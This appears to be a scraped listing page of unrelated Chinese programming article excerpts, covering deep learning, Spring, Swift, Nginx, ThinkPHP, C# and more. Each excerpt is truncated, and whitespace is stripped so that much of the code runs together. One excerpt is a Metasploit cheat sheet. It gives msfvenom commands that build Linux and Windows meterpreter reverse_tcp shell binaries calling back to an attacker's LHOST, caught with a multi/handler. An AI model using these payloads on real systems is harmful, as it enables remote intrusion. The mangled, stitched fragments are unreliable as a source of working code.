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深度学习基础：9.复现经典网络：LeNet5与AlexNet

LeNet51998年，LeNet5被LeCun等人在论文《Gradient-BasedLearningAppliedtoDocumentRecognition》中正式提出，它被认为是现代卷积神经网络的奠基者。网络结构图： importtorch fromtorchimportnn fromtorch.nnimportfunctionalasF classModel(nn.Module): def__init__(self): super().__init__() self.conv1=nn.Conv2d(1,6,5)#(H+2p-K)/S+1 self.pool1=nn.AvgPool2d(kernel_size=2,stride=2) self.conv2=nn.Conv2d(6,16,5) self.pool2=nn.AvgPool2d(2) self.fc1=nn.Linear(5*5*16,120) self.fc2=nn.Linear(120,84) defforward(self,x): x=torch.tanh(self.conv1(x)) x=self.pool1

RocketMQ Spring Starter消费堆积引发的系统思考和处理（2）

上文已经彻底分析了问题的来龙去脉，这次接着分析周边问题。如果你没有看过上文，建议先看，否则不好理解。 6.周边问题解决第二个问题：在消费详情中，为什么Pull消费者在Dashboard中不显示消费者client和queue的关系信息呢？实际下图的空白中，是Pull消费者消费的，却没有consumerClient。第三个问题：在消费者实例列表中，明明Pull和Push消费者的ConsumerType不一样，为什么这里只显示了CONSUME_ACTIVELY（Pull）下面先解释第二个问题。用户看到的消费详情是怎么来的呢？调用代码逻辑是由上至下查看的，依次是rocketmq-dashboard--->rocketmqadmintool--->rocketmqbroker--->rocketmqclient。逻辑我从下上到上解释下，主要分为几步：消费者client启动时，通过立即发送心跳将自身信息上报给broker。broker保存消费者信息。dashboard通过admintool的接口获取消费者信息展示。通过以上简单描述后我们知道：我们看到的信息都是消费者自己上报的结果

【Swift】学习笔记(四)——设置(Collection)

大家好，又见面了，我是全栈君。Swift和其他语言也提供了两种类型的集合：数组和字典数组：数组用来按顺序存储同样类型的数据，swift规定它是类型安全的，每个数组都有自己的类型也就是其它语言所说的泛型。创建数组：1、varaa:[String]=[“aa”,”bb”,”cc”]或者varaa=[“aa”,”bb”,”cc”]2、varaa=[String]()//空数组aa.append(“aa”)//向aa数组添加一个成员。aa=[]//清空数组3、vara=[Double](count:5,repeatedValue:0.0)//创建一个5个大小的数组，而且都赋值为0.0，因为swift类型判断的特性。还能够不用指定类型。vara=Array(count:5,repeatedValue:0.0)只是不推荐。4、vara=[Double](count:5,repeatedValue:0.0);varb=[Double](count:5,repeatedValue:5.5);varc=a+b;//将两个数组项合并到一个数组中去，类型会从相加的数组中判断出来。数组的訪问和改动：数组的操作

收藏Metasploit payload

通常Metasploit最有用（对于初学者来说被低估）的功能之一是msfpayload模块。可以使用此模块创建多个有效负载，它有助于在几乎任何情况下为您提供外壳。对于这些有效负载中的每一个，您都可以进入msfconsole并选择exploit/multi/handler。为使用的相关负载运行“设置负载”并配置所有必要的选项（LHOST、LPORT等）。执行并等待有效负载运行。对于下面的示例，它是不言自明的，但LHOST应填写您的IP地址（如果在网络内进行攻击，则为LANIP，如果通过Internet进行攻击，则为WANIP），并且LPORT应该是您希望重新连接的端口。Linuxmsfvenom-plinux/x86/meterpreter/reverse_tcpLHOST=<您的IP地址>LPORT=<您要连接的端口>-felf>shell.elf复制Windowsmsfvenom-pwindows/meterpreter/reverse_tcpLHOST=<您的IP地址>LPORT=<您要连接的端口>-fexe>shell.

Spring-AOP 静态普通方法名匹配切面

文章目录概述实例概述StaticMethodMatcherPointcutAdvisor代表一个静态方法匹配切面，它通过StaticMethodMatcherPointcut来定义切点，并通过类过滤和方法名来匹配所定义的切点.实例代码已托管到Github—>https://github.com/yangshangwei/SpringMaster我们假设我们业务类中Waiter和Seller中都有同名的greetTo()方法.业务类Waiterpackagecom.xgj.aop.spring.advisor.StaticMethodMatcherPointcutAdvisor; publicclassWaiter{ /** * * *@Title:greetTo * *@Description: * *@paramname * *@return:void */ publicvoidgreetTo(Stringname){ System.out.println("WaiterGreetto"+name); } /** *

在腾讯云服务器上搭建tomcat入门

tomcat实战1.jvm虚拟机常识两个常识问题作为了解JVM虚拟机的开始。我们很有必要弄明白以下两个问题。1.什么是JAVA虚拟机所谓虚拟机，就是一台虚拟的计算机。他是一款软件，用来执行一系列虚拟计算机指令。大体上，虚拟机可以分为系统虚拟机和程序虚拟机。大名鼎鼎的VisualBox、VMware就属于系统虚拟机。他们完全是对物理计算机的仿真。提供了一个可以运行完整操作系统的软件平台。程序虚拟机的典型代表就是Java虚拟机，它专门为执行单个计算机程序而设计，在Java虚拟机中执行的指令我们称为Java字节码指令。无论是系统虚拟机还是程序虚拟机，在上面运行的软件都限制于虚拟机提供的资源中。复制2.java是如何做到跨平台同一个JAVA程序(JAVA字节码的集合)，通过JAVA虚拟机(JVM)运行于各大主流操作系统平台比如Windows、C复制3.常用虚拟机参数JVM虚拟机提供了三种类型参数1.标准参数标准参数中包括功能和输出的参数都是很稳定的，很可能在将来的JVM版本中不会改变。你可以用java命令（或者是用java-help）检索出所有标准参数。复制2.X类型参数非标准化的参数，在将来

深度推荐模型——FNN [ECIR 16]

视频讲解：https://www.yuque.com/chudi/tzqav9/ny150b#aalY8 importtensorflowastf fromtensorflowimportkeras fromutilsimport* EPOCH=10 BATCH_SIZE=32 VEC_DIM=10 DNN_LAYERS=[64,128,64] DROPOUT_RATE=0.5 base,test=loadData() #所有的特征各个类别值个数之和 FEAT_CATE_NUM=base.shape[1]-1 K=tf.keras.backend defrun(): #将所有的特征的各个类别值统一id化。x中每行为各特征的类别值的id val_x,val_y=getAllData(test) train_x,train_y=getAllData(base) model=keras.models.Sequential() model.add(keras.layers.Embedding(FEAT_CATE_NUM,VEC_DIM,input_length=val_x[0].sh

压力测试：必须了解的限流策略

来源：http://www.51testing.com　　最近有空了解了下Nginx的限流策略，查了一些网上的资料，发现很多对参数的描述并不准确，所以自己抽空做了些测试，分享下心得。1、配置限流策略　http{ 　　#Nginx限流。语法：limit_req_zonekeyzonerate 　　#参数说明key:定义需要限流的对象（$binary_remote_addr表示基于客户端ip(remote_addr)进行限流，binary_表示压缩内存占用量） 　　#参数说明zone:定义共享内存区来存储访问信息（定义了一个大小为10M的内存区，用于存储IP地址访问信息。） 　　#参数说明rate:用于设置每个IP的最大访问速率（rate=5r/s表示每秒处理5个请求，rate=30r/m表示每分钟处理30个，即每2秒1个。） 　　limit_req_zone$binary_remote_addrzone=myLimitS2:10mrate=2r/s;#内存区名为myLimitS2，每秒处理2个请求 　　limit_req_zone$binary_remote_addrzone=myLim

ThinkPHP3.2.3框架实现执行原生SQL语句的方法示例

本文实例讲述了ThinkPHP3.2.3框架实现执行原生SQL语句的方法。分享给大家供大家参考，具体如下：【查询语句】query方法示例：查询blog_article表中的文章标题title字段//构造sql语句 $sql="select`title`fromblog_article"; //或者下面两种，都会自动读取当前设置的表前缀 //$sql="select`title`from__PREFIX__article"; //$sql="select`title`from__ARTICLE__"; //实例化model对象，执行query方法，得到查询数据结果集 $res=M()-query($sql);复制【添加、修改、删除语句】execute方法示例：修改blog_article表中id为1的文章标题title字段为“PHP是世界上最好的语言”//构造sql语句 $sql="updateblog_articlesettitle='PHP是世界上最好的语言'whereid=1"; /

寻找树最后一项父节点，及id匹配项

寻找树最后一项父节点，及id匹配项varobj={name:"a1",type:1,children:[],expend:true} vararr2=[ {name:"a1",type:1,children:[],expend:true}, { name:"a1", type:1, children:[], expend:true } ] vararr=[ {name:"a1",type:1,children:[],expend:true,id:"1"}, { name:"a1", id:"2", type:1, children:[ { id:"2.1", name:"a1", type:1, children:[{name:"a1",type:1,children:[],expend:true,id:"2.1.1"}], expend:true }, { id:&q

上街再也不能偷瞟别人家女朋友啦，新研究建立3D目光估计|一周AI最火学术

大数据文摘专栏作品 作者：ChristopherDossman编译：Junefish、Olivia、云舟呜啦啦啦啦啦啦啦大家好，拖更的AIScholarWeekly栏目又和大家见面啦！AIScholarWeekly是AI领域的学术专栏，致力于为你带来最新潮、最全面、最深度的AI学术概览，一网打尽每周AI学术的前沿资讯。每周更新，做AI科研，每周从这一篇开始就够啦！本周关键词：目光追踪、音频信号分类、GPU本周最佳学术研究大规模目光追踪数据集与鲁棒的3D目光估计如何收集精确且高度变化的目光数据是一项艰巨地任务。在本文中，研究人员提出了一种有助于处理任务并缩小现有性能差距的方法。首先，他们描述了一种在任意环境中有效收集带注释的3D目光数据的方法。然后，他们使用该方法获得了最大的3D目光数据集并命名为Gaze360。该数据集捕获了室内和室外条件下238个对象的视频内容，并仔细评估误差和特征。在确定最终模型之前，研究人利用数据集训练了各种3D目光估计模型，该模型独特地采用了多帧输入，并利用弹球损失进行误差分位数回归分析，以此提供目光不确定性的估计。利用交叉数据集模型性能的比较方法，研究人员对G

特征工程系列：特征筛选的原理与实现（下）

0x00前言我们在上篇中介绍了特征选择的分类，并详细介绍了过滤式特征筛选的原理与实现。本篇继续介绍封装式和嵌入式特征筛选的原理与实现。0x01特征选择实现方法三：线性模型与正则化1.主要思想当所有特征在相同尺度上时，最重要的特征应该在模型中具有最高系数，而与输出变量不相关的特征应该具有接近零的系数值。即使使用简单的线性回归模型，当数据不是很嘈杂（或者有大量数据与特征数量相比）并且特征（相对）独立时，这种方法也能很好地工作。2.正则化模型正则化就是把额外的约束或者惩罚项加到已有模型（损失函数）上，以防止过拟合并提高泛化能力。损失函数由原来的E(X,Y)变为E(X,Y)+alpha||w||，w是模型系数组成的向量（有些地方也叫参数parameter，coefficients），||·||一般是L1或者L2范数，alpha是一个可调的参数，控制着正则化的强度。当用在线性模型上时，L1正则化和L2正则化也称为Lasso和Ridge。1）L1正则化/LassoregressionL1正则化将系数w的l1范数作为惩罚项加到损失函数上，由于正则项非零，这就迫使那些弱的特征所对应的系数变成0。因此L

darknet1

ubuntudarknet记录1.安装：gitclonehttps://github.com/pjreddie/darknet cddarknet make复制2.下载数据集权重：wgethttps://pjreddie.com/media/files/yolov3.weights复制3.测试运行./darknetdetectcfg/yolov3.cfgyolov3.weightsdata/dog.jpg复制

Peer-to-Peer (P2P) communication across middleboxes

InternetDraft                                                  B.Ford Document:draft-ford-midcom-p2p-01.txt                           M.I.T. Expires:April27,2004                                    P.Srisuresh                                                          CaymasSystems                                                                D.Kegel                                                               kegel.com                                                            October2003   

公有云中追寻区块链的身影

企业中关于区块链的确切角色还在讨论中，但是技术上的兴趣却越高涨——而且是以云为核心。所以，像AWS、微软Azure和谷歌这样领先的公有云供应商推出他们自己的区块链服务，也就不足为奇了。对于企业而言，这些服务可以帮助他们简化应用流程。“如果(企业的)替代方案运行在他们自己的基础架构上，那么从公有云提供商那里使用区块链服务，可以更简单、更具成本效益，”Forrester分析师MarthaBennett说。据Bennett说，微软将是一个特别好的开始。在AzureMarketplace中，该公司拥有合作伙伴沙盒，而且现在Azure也提供了区块链软件的运营。微软的目的还在于开发企业级区块链服务例如，Azure的ProjectBletchley为区块链应用引入了一个的中间件。AWS和谷歌也支持区块链。例如，金融服务行业的IT咨询公司GFTTechnologies，加入了谷歌的合作伙伴计划;谷歌的这一计划目的在于，为银行业在GoogleCloudPlatform上部署其分布式账本“区块链孵化器”测试基础架构。这允许企业模拟现实世界的分布式账本操作。同样，AWS为专注于区块链的公司提供了沙盒功能，如

C#程序员经常用到的10个实用代码片段

1读取操作系统和CLR的版本 1 2 3 4 5 6 OperatingSystemos=System.Environment.OSVersion; Console.WriteLine(“Platform:{0}”,os.Platform); Console.WriteLine(“ServicePack:{0}”,os.ServicePack); Console.WriteLine(“Version:{0}”,os.Version); Console.WriteLine(“VersionString:{0}”,os.VersionString); Console.WriteLine(“CLRVersion:{0}”,System.Environment.Version); 在我的Windows7系统中，输出以下信息 1 2 3 4 5 Platform:Win32NT ServicePack: Version:6.1.7600.0 VersionString:MicrosoftWindowsNT6.1.7600.0 CLRVersion

springcloud 基本配置和业务(支付模块)

1.建表 2.建实体类注意这里使用了lombok包IDEA还要安装lombok插件 3.创建放回JSON实体类传入的是泛型 4.创建dao层 5.创建mapper.xml 5.impl实现 6.controller 7.启动测试 8.postman测试post新增操作

Luogu4512 【模板】多项式除法

Luogu4512【模板】多项式除法 \(NTT\) \[F(x)=Q(x)\timesG(x)+R(x) \]对于一个\(n\)次多项式\(f(x)=\sum_{i=0}^na_ix^i\)，定义\(f^r(x)=\sum_{i=0}^na_{n-i}x^i\)。 \[F(\frac{1}{x})=Q(\frac{1}{x})\timesG(\frac{1}{x})+R(\frac{1}{x})\\ x^nF(\frac{1}{x})=x^n(Q(\frac{1}{x})\timesG(\frac{1}{x})+R(\frac{1}{x}))\\ F^r(x)=Q^r(x)G^r(x)+x^{n-m+1}R^r(x)\\ F^r(x)=Q^r(x)G^r(x)\mod(x^{n-m+1})\\ Q^r(x)=\frac{F^r(x)}{G^r(x)}\mod(x^{n-m+1})\\ R(x)=F(x)-G(x)Q(x) \]\(Code:\) #include<iostream> #include<cstdio> #include<algorithm&

使用JSON Schema校验JSON数据是否合规

相信很多小伙伴现在处理数据交互的时候都喜欢使用JSON，因为它使用方便易读，结构简单，语言无关。但是在使用JSON数据的过程中难免会遇到这样的问题，那就是我要发送/接受的JSON是否满足相应的格式要求。比如这个JSON数据中某个字段我不希望它是null的，某个字段的类型我希望它是Int而不是String。这个时候我们往往就需要对我们将要发送或是收到的JSON数据进行校验，看看这个JSON数据是不是满足我要求的JSON，如果不满足我就要及时捕获到其中不正确的地方。     今天我们就分享一种非常实用且十分方便进行维护的方法来验证JSON数据是否合规。那就是JSONSchema，其实很多语言都支持的，但是我主要分享的是在JAVA上的使用，如果想了解其他的语言使用的方法，可以直接去官网查看相关的文档，附上地址：http://json-schema.org/implementations.html。     JSONSchema的验证机制很简单，首先你需要维护一份JSON文件，这个文件就是标准的你想要的JSON文件

线索二叉树前驱后继

C#多线程开发

1.进程与线程的区别 通俗的讲，进行就是任务管理器中进行列表中看到的正在运行的程序，它是一个动态的概念，活动的实体。 线程是程序执行流的最小单元，是线程中一个实体，是系统独立调度和分派CPU基本单位。 线程特点：(1).轻型实体(2).独立调度和分派的基本单位(3).可并发执行(4).共享进程资源。复制 2.进行和线程关系： 线程是进程中的实体，一个进程可以拥有多个线程，一个线程必须有一个父进程。线程不拥有系统资源，只有运行必须的一些数据结构； 它与父进程的其它线程共享该进程所拥有的全部资源。线程可以创建和撤消线程，从而实现程序的并发执行。一般，线程具有就绪、阻塞和运行三种基本状态。复制 3.线程生命状态与周期 4.线程状态 (1).新线程态：New一个线程：NewThread，这时还没有分配系统资源，只能启动或终止。 (2).可运行态(Runnable):就绪运行状态，start()方法产生运行线程所必须的资源，调度线程执行，并调用线程的Run()方法。 (3).阻塞/非运行态（NotRunnable):当调用挂起线程-suspend()，sleep(),wai